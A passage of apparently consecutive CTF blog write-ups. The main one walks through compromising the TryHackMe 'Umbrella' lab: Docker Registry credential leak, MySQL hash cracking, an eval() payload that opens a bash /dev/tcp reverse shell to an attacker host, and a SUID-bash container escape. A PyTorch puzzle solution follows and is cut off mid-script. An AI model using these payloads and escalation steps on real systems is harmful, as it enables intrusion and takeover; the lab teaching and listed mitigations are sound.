3	Guest login only checks room number + last name (both leaked by #2)	Account takeover of any guest	Add a real secret (booking reference, OTP) not derivable from other endpoints
4	`display_name` rendered via unsandboxed Jinja2 (`render_template_string`)	Server-side template injection → RCE as `www-data`	Never pass user input into `render_template_string`; use `render_template` with a fixed template and pass data as a context variable only
5	World-readable `george` and `david` home directories, a `.bash_history` with credentials, and a self-chmod'd `644` SSH private key	Credential and key disclosure to any local user	`chmod 700` home directories, never type passwords on the command line, disable/clear history for sensitive commands, `chmod 600` private keys
6	Password reuse between `su` login and MySQL account	One leaked credential compromises multiple services	Unique credentials per service, use a secrets manager
7	`adm` group grants read access to `/var/log`, and a provisioning script logged the root password at DEBUG level	Local user → root	Never log secrets, even at debug level; scrub/rotate provisioning logs; avoid giving broad log-read groups to non-admin accounts

TryHackMe : Umbrella Writeup

Yogeshwar Peela — Mon, 24 Aug 2026 10:28:43 +0000

Introduction

Umbrella is a medium-difficulty TryHackMe box built around a leaky Docker registry, an exposed Node.js time-tracking application, and a classic writable-log privilege escalation. The path goes: enumerate an unauthenticated Docker Registry API, extract a hardcoded database password from an image's build history, dump and crack MySQL credentials, log into the web app with a valid pair, abuse an eval() code execution flaw in the time-tracking feature to get a reverse shell inside the app's container, and finally pivot from a shared, container-writable log directory into a root shell on the host via a SUID bash binary.

Throughout this writeup, <machine-ip> refers to the target box and <attacker-ip> refers to the attacking Kali host.

Reconnaissance

Started with a standard aggressive Nmap scan against the target.

nmap -A -Pn <machine-ip> -o nmap

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
3306/tcp open  mysql   MySQL 5.7.40
5000/tcp open  http    Docker Registry (API: 2.0)
8080/tcp open  http    Node.js (Express middleware)

Four open ports: SSH, a directly exposed MySQL instance, a Docker Registry API on 5000, and an Express-based web app on 8080.

Checking the web app first:

curl http://<machine-ip>:8080/

Returned a simple login form posting to /auth, nothing more without credentials.

The Docker Registry on port 5000 was more interesting - it's rare to see this exposed directly, and when it's unauthenticated it turns into a straightforward source of credentials and app internals.

Enumerating the Docker Registry

Docker Registry API v2 exposes a predictable set of endpoints when there's no auth in front of it. Started with the catalog:

curl http://<machine-ip>:5000/v2/_catalog

{"repositories":["umbrella/timetracking"]}

One repository: umbrella/timetracking. Pulled its tags:

curl http://<machine-ip>:5000/v2/umbrella/timetracking/tags/list

{"name":"umbrella/timetracking","tags":["latest"]}

Then pulled the image manifest for latest:

curl http://<machine-ip>:5000/v2/umbrella/timetracking/manifests/latest

The manifest's history array contains the full v1Compatibility build history for every layer, including every ENV instruction baked into the image at build time. Buried in the first history entry's config.Env list:

"Env":["PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
"NODE_VERSION=19.3.0",
"YARN_VERSION=1.22.19",
"DB_HOST=db",
"DB_USER=root",
"DB_PASS=Ng1-f3!Pe7-e5?Nf3xe5",
"DB_DATABASE=timetracking",
"LOG_FILE=/logs/tt.log"]

A full set of MySQL credentials, straight out of the image build metadata, with zero need to pull or extract a single layer blob.

MySQL Access and Credential Dump

The MySQL client failed initially over a self-signed cert:

mysql -h <machine-ip>
ERROR 2026 (HY000): TLS/SSL error: self-signed certificate in certificate chain

Disabling SSL verification and authenticating as root with the password pulled from the registry got a shell:

mysql -h <machine-ip> -u root --ssl=0 -p

MySQL [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| sys                |
| timetracking       |
+--------------------+

MySQL [(none)]> use timetracking;
MySQL [timetracking]> show tables;
+------------------------+
| Tables_in_timetracking |
+------------------------+
| users                  |
+------------------------+

MySQL [timetracking]> select * from users;
+----------+----------------------------------+-------+
| user     | pass                             | time  |
+----------+----------------------------------+-------+
| claire-r | 2ac9cb7dc02b3c0083eb70898e549b63 |   360 |
| chris-r  | 0d107d09f5bbe40cade3de5c71e9e9b7 |   420 |
| jill-v   | d5c0607301ad5d5c1528962a83992ac8 |   564 |
| barry-b  | 4a04890400b5d7bac101baace5d7e994 | 47893 |
+----------+----------------------------------+-------+

Four users, each with an MD5 hash and an accumulated "time spent" value tied to the app's core feature. barry-b's time value was a massive outlier compared to the rest, which turned out to be relevant later.

Cracked all four hashes with John and rockyou:

john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

letmein          (?)
sunshine1         (?)
Password1         (?)
sandwich          (?)
4g 0:00:00:00 DONE

Matched each cracked password back to its hash with echo -n <pass> | md5sum to build the full mapping:

user	password
claire-r	Password1
chris-r	letmein
jill-v	sunshine1
barry-b	sandwich

Foothold

None of the four pairs worked against the web app's /auth endpoint - every attempt redirected straight back to the login page. SSH was the actual match: only claire-r:Password1 authenticated successfully.

ssh claire-r@<machine-ip>

claire-r@ip-<machine-ip>:~$ id
uid=1001(claire-r) gid=1001(claire-r) groups=1001(claire-r)

Grabbed the user flag immediately:

claire-r@ip-<machine-ip>:~$ cat user.txt
THM{redacted}

sudo -l confirmed no sudo rights for this account, so the next step was exploring the home directory for anything left behind.

Source Code Review and RCE

Claire's home directory contained a full copy of the app's source, timeTracker-src, including app.js, the docker-compose.yml, and a live-writable logs/ directory. The docker-compose.yml confirmed the container layout:

version: '3.3'
services:
  db:
    image: mysql:5.7
    restart: always
    environment:
      MYSQL_DATABASE: 'timetracking'
      MYSQL_ROOT_PASSWORD: 'Ng1-f3!Pe7-e5?Nf3xe5'
    ports:
      - '3306:3306'
    volumes:
      - ./db:/docker-entrypoint-initdb.d
  app:
    image: umbrella/timetracking:latest
    restart: always
    ports:
      - '8080:8080'
    volumes:
      - ./logs:/logs

Critically, ./logs:/logs is a bind mount - the logs directory on the host filesystem is the exact same directory the app container writes to, and it's writable by claire-r (drwxrw-rw-).

The vulnerability was in app.js, in the /time route handler:

app.post('/time', function(request, response) {
    if (request.session.loggedin && request.session.username) {
        let timeCalc = parseInt(eval(request.body.time));
        let time = isNaN(timeCalc) ? 0 : timeCalc;
        let username = request.session.username;
        connection.query("UPDATE users SET time = time + ? WHERE user = ?", [time, username], ...);
    }
});

The time field submitted on the "Increase time spent" form goes straight into eval(). The app even advertises this in its own UI as a feature ("Pro Tip: You can also use mathematical expressions, e.g. 5+4"), which is exactly the kind of hint that turns into unauthenticated-adjacent RCE.

Logged into the web app as claire-r:Password1, then submitted the following as the "time" value on /time:

require('child_process').exec('bash -c "bash -i >& /dev/tcp/<attacker-ip>/4444 0>&1"')

eval() executed the payload server-side inside the app container, and a reverse shell landed on a listener on port 4444:

root@de0610f51845:/usr/src/app# whoami
root
root@de0610f51845:/usr/src/app# id
uid=0(root) gid=0(root) groups=0(root)

Root inside the container - but this is an isolated Docker container, not the host, and docker wasn't even installed inside it to pivot from. The way out was the shared bind mount identified earlier.

Privilege Escalation via Shared Log Volume

Since /logs inside the container is the same filesystem location as ~/timeTracker-src/logs on the host, and the app container is running as root, anything written to /logs from inside the container lands on the host owned by root - with the app's own filesystem permissions.

Confirmed the mount was shared by writing a test file from inside the container:

root@de0610f51845:~# echo 'test' > /logs/test

claire-r@ip-<machine-ip>:~/timeTracker-src$ cat logs/test
test

From there, the plan was simple: drop a copy of bash into the shared directory from the root-owned container side, then set the SUID bit on it - also from the container, since claire-r has no permission to chmod as root, but root inside the container writing to a bind-mounted host directory doesn't care about that boundary.

root@de0610f51845:~# cp /bin/bash /logs/bash
root@de0610f51845:~# chmod 4777 /logs/bash

Back on the SSH session as claire-r:

claire-r@ip-<machine-ip>:~/timeTracker-src/logs$ ls -la bash
-rwsrwxrwx 1 root root 1234376 Aug 24 10:16 bash

SUID bit set, owned by root. Running it with -p to preserve privileges on exec:

claire-r@ip-<machine-ip>:~/timeTracker-src/logs$ /home/claire-r/timeTracker-src/logs/bash -p
bash-5.1# whoami
root

Root shell on the host. Grabbed the final flag:

bash-5.1# cat /root/root.txt
THM{redacted}

Attack Chain Summary

Nmap reveals SSH, exposed MySQL, an unauthenticated Docker Registry (5000), and an Express web app (8080).
Docker Registry API's manifest history leaks hardcoded MySQL root credentials via build-time ENV instructions.
Those credentials authenticate directly to the exposed MySQL instance, dumping the app's users table (MD5 password hashes).
rockyou + John cracks all four hashes in seconds - weak, dictionary-guessable passwords.
Credential pair claire-r:Password1 doesn't work on the web app but does work over SSH, giving an initial low-privilege foothold and the user flag.
Local source code review of the app reveals an eval() on user-controlled input in the /time endpoint.
Authenticated RCE via eval() gets a reverse shell as root - but inside an isolated Docker container.
The container's docker-compose.yml shows a bind-mounted logs volume shared with the host. Root inside the container drops a SUID-root bash binary into that shared path.
The host-side low-privilege user executes the now-SUID binary with -p, landing a root shell on the host itself and the root flag.

Key Vulnerabilities

Unauthenticated Docker Registry API exposing image manifests and build history to anyone on the network.
Hardcoded secrets in Docker image build args/ENV (DB_PASS baked directly into the image instead of injected at runtime via secrets management).
Directly internet/network-exposed database (MySQL bound to 0.0.0.0 reachable from outside the app container).
Weak, dictionary-crackable user passwords stored as unsalted MD5 hashes.
Unsafe use of eval() on user-controlled input, enabling authenticated remote code execution in the Node.js app.
Docker bind mount shared between a root-running container and a lower-privileged host user, allowing container-root writes to become host-root-owned SUID binaries - a container escape via shared filesystem rather than kernel exploitation.

Mitigations

Require authentication (and TLS) on the Docker Registry API; never expose /v2/_catalog or manifest endpoints to untrusted networks.
Never bake credentials into image layers or ENV instructions - inject secrets at runtime via a secrets manager, Docker secrets, or environment injection that doesn't persist in image history.
Restrict MySQL to internal/container-network access only; it should not be reachable from outside the Docker host at all, let alone from the public network.
Enforce strong password policies and use a slow, salted hashing algorithm (bcrypt/argon2) instead of unsalted MD5 for stored credentials.
Never pass user input into eval(), Function(), or child_process.exec() without strict validation; use a safe math-expression parser (e.g. mathjs with restricted scope) if arithmetic input is genuinely needed.
Avoid bind-mounting host directories into containers that run as root unless strictly necessary; when required, run the container process as a non-root UID and set the mount rw only for the specific low-privilege user/group that needs it, never leaving it world-writable from both sides.
Regularly audit containers for unnecessary volume mounts and drop unneeded Linux capabilities (--cap-drop=ALL) to reduce the blast radius of an in-container RCE.

BrunnerCTF 2026 : Half Backed Writeup

Yogeshwar Peela — Sun, 23 Aug 2026 16:10:09 +0000

Summary

half_baked.py defines a BrunsvigerCake model with six nn.Linear
layers, each with real pretrained weights and biases already assigned, but
forward() just returns the input untouched - none of the layers are
called. The layer dimensions only connect in one valid order, so the
correct chain can be recovered purely from each layer's in_features /
out_features. The prompt's "add yeast to activate all the ingredients"
hint means inserting an activation function (ReLU) between each step -
without it the whole stack collapses into one linear map. Running the
completed chain on a zero vector produces 50 output values that decode to
ASCII, spelling the flag.

1. Recon - six named layers, no wiring

class BrunsvigerCake(nn.Module):
    def __init__(self):
        super().__init__()
        self.zephyr  = nn.Linear(18, 13)
        self.thistle = nn.Linear(15, 14)
        self.nimbus  = nn.Linear(10, 50)
        self.ember   = nn.Linear(14, 10)
        self.quokka  = nn.Linear(4, 18)
        self.vortex  = nn.Linear(13, 15)

        # Pre-trained weights (do not edit)
        ... (all six layers' weight and bias are explicitly set) ...

    def forward(self, x):
        # Help combine all recipe steps and activate the ingredients with yeast
        return x

Every layer already has real, pretrained weights - nothing here is random.
The only thing missing is the body of forward(). The comment is a direct
hint: "combine all recipe steps" (chain the layers) and "activate ... with
yeast" (apply an activation function between them).

2. Working out the chain from dimensions

dummy_input = torch.zeros(4) is 4-dimensional, so whichever layer takes a
4-dim input must go first. Laying out each layer's (in, out) shape:

Layer	in -> out
quokka	4 -> 18
zephyr	18 -> 13
vortex	13 -> 15
thistle	15 -> 14
ember	14 -> 10
nimbus	10 -> 50

These chain into exactly one path where each layer's output size matches
the next layer's input size:

input(4) -> quokka -> (18) -> zephyr -> (13) -> vortex -> (15)
          -> thistle -> (14) -> ember -> (10) -> nimbus -> (50)

No other ordering of the six layers connects start-to-end without a
dimension mismatch, and the final output width (50) lines up with a
reasonably long flag string once decoded to characters - confirming this
is the intended path.

3. Adding the "yeast" (activation)

Stacking Linear layers back-to-back with nothing in between is still just
a single linear transform - the composition of several affine maps is
itself affine, so no amount of chaining alone reveals anything a single
matrix multiply couldn't. That's the "half-baked" part: the dough (linear
layers) is all there, but nothing makes it rise.

The challenge text spells out the fix: "add yeast to activate all the
ingredients" - i.e. add an activation function after each layer. ReLU is
the standard choice:

def forward(self, x):
    x = self.quokka(x)
    x = F.relu(x)
    x = self.zephyr(x)
    x = F.relu(x)
    x = self.vortex(x)
    x = F.relu(x)
    x = self.thistle(x)
    x = F.relu(x)
    x = self.ember(x)
    x = F.relu(x)
    x = self.nimbus(x)
    return x

4. Running it

The rest of the script was already in place - round each of the 50 output
values and treat it as a Unicode code point:

dummy_input = torch.zeros(4)
output = model(dummy_input)
flag = "".join([chr(int(round(val.item()))) for val in output])
print(f"[+] Output: {flag}")

$ python3 half_baked_fixed.py
[+] Output: brunner{d0ugh_butt3r_sug4r_c1nn4mon_cr34m_c4r4m3l}

Full patched script

import torch
import torch.nn as nn
import torch.nn.functional as F

class BrunsvigerCake(nn.Module):
    def __init__(self):
        super().__init__()
        self.zephyr = nn.Linear(18, 13)
        self.thistle = nn.Linear(15, 14)
        self.nimbus = nn.Linear(10, 50)
        self.ember = nn.Linear(14, 10)
        self.quokka = nn.Linear(4, 18)
        self.vortex = nn.Linear(13, 15)

        # Pre-trained weights (do not edit)
        self.ember.weight = nn.Parameter(torch.tensor([[1.316, 4.115, 0.037, -3.177, 3.505, -4.166, -3.875, -0.449, -4.449, 4.11, 1.11, 3.896, -3.513, 3.867], [-3.519, 2.141, -0.528, -4.448, -1.388, 0.753, -0.735, -4.816, -1.954, 4.265, -0.289, 3.995, -2.533, 4.858], [-2.827, 3.0, 4.104, 3.85, -1.116, 0.067, 3.52, 4.283, 1.637, 3.989, -3.085, -4.89, 3.354, 0.935], [-1.831, -4.309, 2.378, -4.073, -4.13, 4.003, 0.885, 1.757, -1.507, -4.494, 4.362, 1.465, -3.573, -2.003], [-4.069, 4.4, -3.343, 2.802, 2.172, -3.286, 3.924, 3.752, 4.994, 0.23, -1.056, 1.519, 1.263, 1.174], [4.584, 2.107, 2.306, 1.659, -3.395, -4.123, 4.243, 1.875, 3.771, 0.471, 1.831, 4.567, -0.459, -2.365], [4.958, -4.438, -2.705, -1.816, 4.866, -0.299, -0.757, 3.443, -3.454, 2.983, -0.847, -0.356, 1.682, 4.424], [-1.158, 1.059, -2.898, -0.327, -3.788, 4.703, 0.778, 2.526, 3.785, 4.239, 0.874, -1.731, 4.885, -4.693], [-4.134, 2.033, -0.988, -1.054, 4.687, 4.724, -2.296, -1.362, -1.489, -0.222, 3.394, 3.876, 4.547, 1.086], [-0.429, -3.18, 0.769, -3.794, -3.58, 2.056, -2.524, -1.647, 1.727, 4.036, 0.228, 2.24, -3.775, 3.27]]))
        self.ember.bias = nn.Parameter(torch.tensor([-46.77499, -89.964382, -121.503818, 32.12234699999998, -99.72601100000001, -244.54492900000002, -25.601556999999993, -79.42223399999999, -45.55715299999999, -105.62387]))
        self.thistle.weight = nn.Parameter(torch.tensor([[-0.977, -0.987, 2.226, -2.268, 2.314, 2.83, -3.232, 1.581, -0.811, -2.573, 3.661, 4.947, 4.83, 0.503, -2.986], [-1.966, -0.269, 3.113, -4.508, 3.543, 3.042, 1.506, -2.708, 2.665, 3.342, -4.127, -0.357, -2.508, 1.511, 3.013], [0.919, -1.002, 2.156, -4.663, 3.448, 2.664, 0.489, 3.294, 2.437, 4.458, -2.522, 1.904, -1.407, -1.274, -3.21], [2.466, 4.531, -0.809, 4.07, 3.319, -4.733, -4.255, -1.511, -1.719, 4.423, -4.225, 4.055, 1.457, 2.126, -0.408], [0.658, 1.205, -4.448, -1.942, 0.798, -4.034, -1.165, 3.692, 1.192, 4.847, 4.479, 1.444, 4.641, 1.407, -3.739], [-2.388, 3.03, 2.042, -3.976, 0.72, 0.738, -0.66, -2.265, -4.034, 3.73, -0.036, 3.928, 2.93, -1.415, -0.118], [-4.732, -0.071, -2.703, -0.118, -1.509, 3.075, -1.574, -4.721, -4.247, 1.9, -3.66, 1.67, -0.614, -3.539, 4.825], [1.397, 4.08, -1.711, 4.448, -3.226, 0.038, -1.707, 3.351, -4.81, 4.071, -2.734, -0.595, -0.764, 3.273, -3.515], [-3.531, -3.195, -2.054, -1.198, 1.785, -4.332, 4.395, 3.192, 0.658, -3.458, -3.947, 4.435, 3.807, -0.005, -0.852], [1.528, 3.727, -2.151, 2.116, 4.661, -0.126, -3.456, -2.673, -2.888, 1.658, -4.807, 2.944, -0.364, 4.335, 2.054], [0.719, -2.673, -1.914, -2.35, -0.422, 0.598, 1.039, -4.856, -2.54, -4.233, 3.006, -1.934, 2.215, -4.11, -4.88], [0.111, 3.673, 3.394, -1.035, -2.952, -3.753, 2.458, -0.436, 2.615, 1.521, -0.818, -1.657, 3.205, 1.212, 1.185], [2.645, 4.209, -0.704, -2.089, 3.089, 2.255, 2.509, 2.675, -1.918, 0.549, 4.414, 2.188, 1.598, -2.912, 4.12], [-0.486, -3.029, -0.801, -2.139, -0.767, 4.434, 2.239, -4.128, -2.196, 0.608, -4.319, -0.56, -3.231, 1.904, -0.39]]))
        self.thistle.bias = nn.Parameter(torch.tensor([-80.845891, -86.57749699999998, -165.292546, -22.910134999999997, -132.72431600000002, -14.500798999999999, 151.930974, -14.175594999999998, 7.049248999999997, -16.346333999999988, 193.413242, -27.215327, -255.562062, 80.515854]))
        self.vortex.weight = nn.Parameter(torch.tensor([[2.278, -0.047, -1.17, 1.749, 0.515, -3.313, 3.168, -1.895, 2.153, -0.3, 0.464, 2.199, 3.396], [-3.47, 4.735, -4.426, 1.072, -3.314, -3.886, 4.517, 1.543, 2.302, 1.618, -4.013, 1.941, -1.31], [4.192, -1.304, 2.923, -2.539, 3.491, -2.44, -2.824, -3.681, -4.449, 1.231, 2.499, -3.282, 0.674], [-1.941, -2.739, -0.172, -3.364, -1.145, 3.775, 3.525, 4.424, 3.427, 4.74, 0.362, 1.971, 3.146], [-2.918, 1.436, -1.753, 4.506, -0.718, 1.124, -3.601, 1.105, 3.588, -3.954, -0.812, -0.992, 2.466], [3.641, 2.844, -1.458, 1.057, 4.738, 4.916, 2.684, -0.361, 4.705, 0.558, 2.942, 3.9, 4.808], [-0.901, 4.505, 0.505, -4.742, 3.184, -4.112, -2.41, 3.967, -0.84, -0.428, -2.017, 4.798, 2.803], [1.576, -1.314, -0.168, 2.129, -3.275, -0.574, 1.346, -4.026, 4.108, -2.967, 0.237, -1.239, -4.486], [-3.353, 1.633, 0.819, -4.787, 3.587, 2.702, 4.066, 3.404, -0.437, -2.391, -2.881, -0.229, -1.757], [-4.287, -0.673, 4.46, -0.935, -2.199, -4.441, -0.314, 2.769, -0.063, -1.293, 0.658, 0.078, 2.92], [4.846, -0.199, -2.286, 3.855, 0.536, -3.453, 0.635, 3.91, -4.66, 2.282, -1.791, 2.474, -4.317], [2.206, -1.561, -4.468, 3.526, -4.712, 1.801, 2.526, -2.808, 0.112, 4.907, -4.742, -1.27, 4.952], [3.077, 4.522, 1.192, 2.391, -3.105, -1.202, -1.281, -1.196, 2.077, -3.981, 1.173, -2.299, 1.746], [-2.67, 1.963, 0.95, 4.202, -0.743, -4.439, -4.714, 1.126, 1.809, 0.481, 1.037, 4.52, -3.565], [1.104, -2.978, -2.466, 3.908, 1.933, -0.836, 0.479, -1.426, 0.105, -4.193, -4.506, -4.124, 0.557]]))
        self.vortex.bias = nn.Parameter(torch.tensor([-114.131626, -42.448999, 131.866201, -243.26573700000003, 10.43169300000001, -274.985064, -106.79146800000001, 115.66636800000002, 46.399753, -69.22416, -21.158774000000022, 0.23002499999999415, 9.815382000000005, -84.43185099999998, 199.722996]))
        self.nimbus.weight = nn.Parameter(torch.tensor([[-2.154, -4.176, 2.153, 0.66, -1.851, 0.222, 1.841, 3.391, 0.484, 2.925], [1.808, 0.338, 1.33, 1.827, -0.487, 0.739, 0.789, 3.564, 0.298, -1.984], [-2.485, 4.326, 3.295, 0.519, -3.18, -2.774, -0.052, 4.686, -1.255, 0.955], [1.38, 4.232, 0.746, 0.964, -1.605, 0.458, 2.67, -3.873, -1.822, -3.391], [-0.949, 2.875, 1.607, 4.88, -0.187, 1.521, 3.387, -4.587, -3.9, 0.704], [-3.933, -0.792, -0.4, 2.873, -0.609, 4.078, -2.342, -4.835, 2.832, 4.877], [4.374, 4.892, -3.128, -4.966, -3.807, -3.273, 4.491, -2.401, 4.777, -1.078], [2.308, 2.525, -4.055, -1.286, 3.497, 4.657, -1.421, 1.011, -1.391, -2.401], [-1.543, 4.514, -0.819, -1.444, -3.479, 0.063, -4.531, 1.189, 1.304, 0.147], [-3.741, 2.96, -3.282, 4.074, 2.831, 4.094, -4.13, 3.49, -3.65, 2.1], [2.818, 4.291, 2.246, 3.102, -1.906, 4.435, 3.647, 0.846, -2.302, -4.271], [0.74, 1.578, -2.338, 2.442, -0.14, -2.234, -0.486, 1.528, 1.198, -0.959], [-0.671, -0.091, -1.722, 1.893, -3.745, 0.061, -4.33, -1.159, 0.583, 0.766], [-1.921, -2.987, -1.709, 4.155, 1.106, -1.505, -3.736, 2.749, -2.27, -3.847], [1.878, -1.149, -4.403, 1.405, -4.673, 4.902, 3.765, -2.391, -3.809, -2.537], [-1.022, 1.77, -3.713, -3.964, -1.03, -4.665, -1.235, -3.628, -1.168, -0.786], [-4.39, 4.63, 0.977, 2.03, -3.526, -2.738, -1.343, 0.044, -3.485, 0.152], [3.865, 1.738, -2.822, 3.191, 0.888, -4.724, -1.629, -2.811, -3.195, -3.29], [-0.785, -3.402, 4.458, 1.275, 3.262, -1.661, 3.306, -0.836, 0.48, 2.015], [-4.178, -2.323, 4.057, -0.557, -3.993, -4.546, -4.411, 2.338, 4.999, 3.46], [-1.348, 2.731, -4.711, 4.144, 4.066, -0.008, 1.051, -2.13, -3.874, -1.091], [-2.407, -3.044, 2.182, 3.063, -4.77, -4.288, -1.028, -2.712, -2.953, 0.369], [0.278, -1.109, -1.541, -0.542, -2.798, 0.424, -1.127, 1.418, -0.132, -3.235], [3.521, -2.778, 4.89, -1.469, 3.759, 4.304, 0.89, -3.869, 2.595, 0.953], [-2.252, -0.921, -0.992, -2.592, 1.374, 1.93, 3.137, 0.978, 2.522, -4.068], [-1.524, -1.332, -1.906, 2.995, 4.646, -4.004, -3.036, -3.885, -2.132, 2.264], [4.753, 2.467, -2.8, 2.668, 0.8, -4.321, 1.359, -1.878, 0.527, -3.633], [2.277, 2.996, -1.996, -2.583, -1.236, 1.382, 2.716, -0.936, -0.202, 1.793], [3.931, 0.75, -4.048, 1.334, -0.615, -1.354, 4.058, -1.056, 0.29, 3.506], [1.245, 2.36, 4.334, 0.19, 1.897, -2.546, -2.876, 1.926, -3.04, 2.616], [-2.092, -3.873, -0.15, 2.245, -2.022, -3.676, -4.084, -0.328, 2.988, 4.007], [-3.783, -0.965, 0.39, 2.051, -1.179, 4.309, -2.928, -3.086, -3.485, 4.574], [1.348, 0.568, -3.741, 1.256, -1.377, -2.736, 1.52, -2.759, 2.191, 2.142], [3.622, -0.621, 4.008, -3.418, -4.754, -0.765, -3.809, -4.731, -1.489, 0.731], [3.901, -2.908, 1.464, -2.599, -0.428, -1.304, 4.939, -3.773, -2.272, 2.014], [-0.38, -1.723, 2.456, 3.606, 1.087, -0.736, 4.318, -0.683, 2.07, -3.921], [-2.92, -0.762, -0.779, -2.31, -3.193, 1.227, 4.434, -1.231, -0.097, -2.572], [3.708, -0.698, -3.872, -3.022, 1.079, 4.378, 2.124, 3.834, -1.639, 3.112], [-4.57, -4.609, -4.307, 1.481, 2.915, 0.388, -2.887, 2.92, 0.219, -0.951], [4.764, -3.004, 4.707, 2.22, 0.377, -3.165, -4.18, -3.286, -2.919, -2.161], [-2.092, 1.589, 1.01, 2.259, 0.718, 4.438, 0.541, 2.361, 0.279, -2.174], [1.819, -0.185, -4.985, -2.487, 4.417, -0.192, -4.067, 2.498, -1.378, 3.469], [-2.54, -0.506, 4.449, 4.473, 0.756, -4.01, -3.095, 1.608, -1.811, -0.971], [-4.45, -4.166, 0.712, -2.975, -3.701, 3.188, 2.824, 0.005, 2.482, 3.974], [1.222, -4.205, 4.194, -3.4, 4.47, 2.592, 2.688, -3.218, -0.01, -2.065], [0.805, 1.669, -0.68, 4.715, 0.616, 1.421, 1.804, -0.518, -3.076, -0.588], [-1.228, 1.278, 1.191, 0.883, 3.029, 3.182, -3.094, 1.411, -2.549, 0.526], [2.526, 1.25, 1.943, 3.564, 2.465, 4.097, -0.703, -0.21, 3.081, 2.694], [-2.056, 4.354, 1.953, 0.238, 1.181, -1.938, -4.422, 2.239, -2.666, -4.242], [0.523, -1.411, -1.274, 4.612, -1.31, 3.354, 0.216, -1.591, 1.174, 0.162]]))
        self.nimbus.bias = nn.Parameter(torch.tensor([27.203868999999997, 58.954039, 108.885144, 146.731048, 135.944787, 85.585233, 17.096815000000007, 155.130383, 159.228771, 143.82074599999999, 73.90572800000001, 111.263293, 195.14133800000002, 251.612426, 193.489824, 268.422468, 250.958979, 256.47713999999996, -59.03251900000001, 78.90211099999999, 208.580719, 255.1236, 190.483375, -62.90831700000001, 21.46947799999999, 226.60735, 112.98256699999999, 46.423576, -29.366467999999983, 99.17928, 129.461098, 144.142566, 91.35802500000001, 171.496596, 55.96520599999999, 25.349291000000008, 132.876172, 32.657967, 157.373654, 130.815837, 80.13802199999999, 129.941949, 165.38212, -19.787523000000007, 41.41705, 74.549533, 141.38613099999998, -112.69922700000001, 237.810621, 107.844022]))
        self.zephyr.weight = nn.Parameter(torch.tensor([[-4.243, 3.235, 3.894, -3.769, 1.402, 3.643, 1.968, -0.144, 1.857, 0.7, 1.691, -2.967, -4.05, -2.571, 4.895, -3.5, -0.629, -0.15], [-2.357, -1.781, -4.421, -0.665, -2.088, 0.465, 1.621, -4.975, 2.726, 4.976, -1.18, -4.023, 4.693, -2.901, -2.351, -1.66, -0.295, -4.371], [4.282, 3.575, -3.862, -2.341, 2.797, 0.406, 3.652, -1.441, 0.22, 0.786, -4.659, -0.073, -0.502, -3.23, -4.216, -1.045, -1.222, -4.161], [0.265, -4.894, 0.172, -1.409, -2.073, -3.28, 0.749, -3.344, -2.543, 2.4, -3.346, 1.413, 4.685, 4.291, -4.936, -0.571, 2.029, 3.904], [4.232, -1.808, -4.278, -3.547, 0.927, -1.0, -4.274, 2.469, 4.981, -1.513, -2.374, 4.603, -2.192, -3.001, -1.222, -2.382, 3.372, -3.695], [0.924, -3.743, -1.743, 1.862, -2.303, -3.936, 2.809, 0.191, -0.839, -3.08, -1.847, 1.234, -2.654, 1.084, -0.325, 1.65, 0.39, 4.978], [3.792, -0.999, 4.583, 4.91, 3.66, -2.061, -0.436, 0.846, -1.334, -1.999, -1.104, -0.372, -3.081, 1.422, -2.045, 3.593, -2.272, 3.4], [1.881, 1.313, -3.93, -3.481, 3.875, -4.237, 4.047, 0.312, 4.89, -0.944, 0.036, -4.068, -3.868, -2.582, 4.313, 3.719, 1.319, -3.539], [-2.108, 0.818, 2.884, -4.057, -4.689, -2.857, 3.117, 4.707, 4.556, -3.324, -4.577, -1.589, -0.32, -3.531, -2.399, -3.934, 0.993, 0.622], [4.521, -0.841, -0.497, -0.434, -2.263, -1.439, -3.115, 1.147, -4.019, 0.49, -4.073, 4.125, 3.056, 2.518, 4.917, -0.273, -4.43, 4.319], [-4.057, 2.649, -2.116, -0.865, 4.737, -3.04, 0.597, -4.71, -2.096, 2.433, -2.926, -3.919, -1.194, -1.846, -0.816, 1.116, -1.116, -1.552], [-4.992, -4.808, 3.217, 4.064, -2.957, 2.434, -1.753, 2.132, 4.566, -1.748, -3.339, 0.59, -4.885, 0.357, -3.795, 3.289, -2.961, -2.415], [1.865, 3.486, 4.265, 2.841, -4.864, 4.373, -4.513, -3.587, -2.37, 4.473, -3.538, 0.795, -4.032, 1.482, 4.466, 2.459, -4.301, -1.709]]))
        self.zephyr.bias = nn.Parameter(torch.tensor([-50.609923, 244.164688, 99.520907, 55.91402, 36.39038399999998, 34.65404100000001, -71.20910599999999, -43.623143, 135.32721300000003, -11.461164999999989, 158.911432, 295.343349, 107.84786800000003]))
        self.quokka.weight = nn.Parameter(torch.tensor([[0.343, 3.892, 3.035, 4.214], [-2.314, -2.049, 4.254, 0.817], [1.833, -0.558, 4.541, 2.546], [2.009, -2.498, -1.792, -0.393], [-3.151, 0.826, 1.283, 0.606], [-1.593, -0.719, -4.634, -0.794], [2.015, -0.929, 3.41, -0.978], [-3.722, 0.468, -1.268, 3.495], [-3.803, 3.39, -2.066, 0.186], [-1.032, -0.416, 4.403, 2.929], [4.3, -3.7, -2.59, 3.617], [-0.043, -0.883, 1.154, -2.86], [-0.17, 3.609, -3.072, 1.273], [-0.161, 2.205, 0.379, -1.633], [3.722, -3.587, 2.007, -1.652], [-1.695, 0.465, -4.604, -3.688], [4.422, 3.472, 0.197, -0.993], [-4.595, 4.734, -3.434, -4.237]]))
        self.quokka.bias = nn.Parameter(torch.tensor([12.889, 9.977, 6.781, 1.4, 14.698, 5.547, 7.672, 11.701, 2.993, 6.833, 10.207, 4.043, 4.573, 10.588, 11.352, 2.349, 19.763, 12.626]))

    def forward(self, x):
        # Combine all recipe steps in the order their dimensions chain
        # together, and "activate" (apply yeast / ReLU) after each step.
        x = self.quokka(x)
        x = F.relu(x)
        x = self.zephyr(x)
        x = F.relu(x)
        x = self.vortex(x)
        x = F.relu(x)
        x = self.thistle(x)
        x = F.relu(x)
        x = self.ember(x)
        x = F.relu(x)
        x = self.nimbus(x)
        return x

model = BrunsvigerCake()
model.eval()

# Dummy input triggering the network
dummy_input = torch.zeros(4)

try:
    output = model(dummy_input)
    flag = "".join([chr(int(round(val.item()))) for val in output])
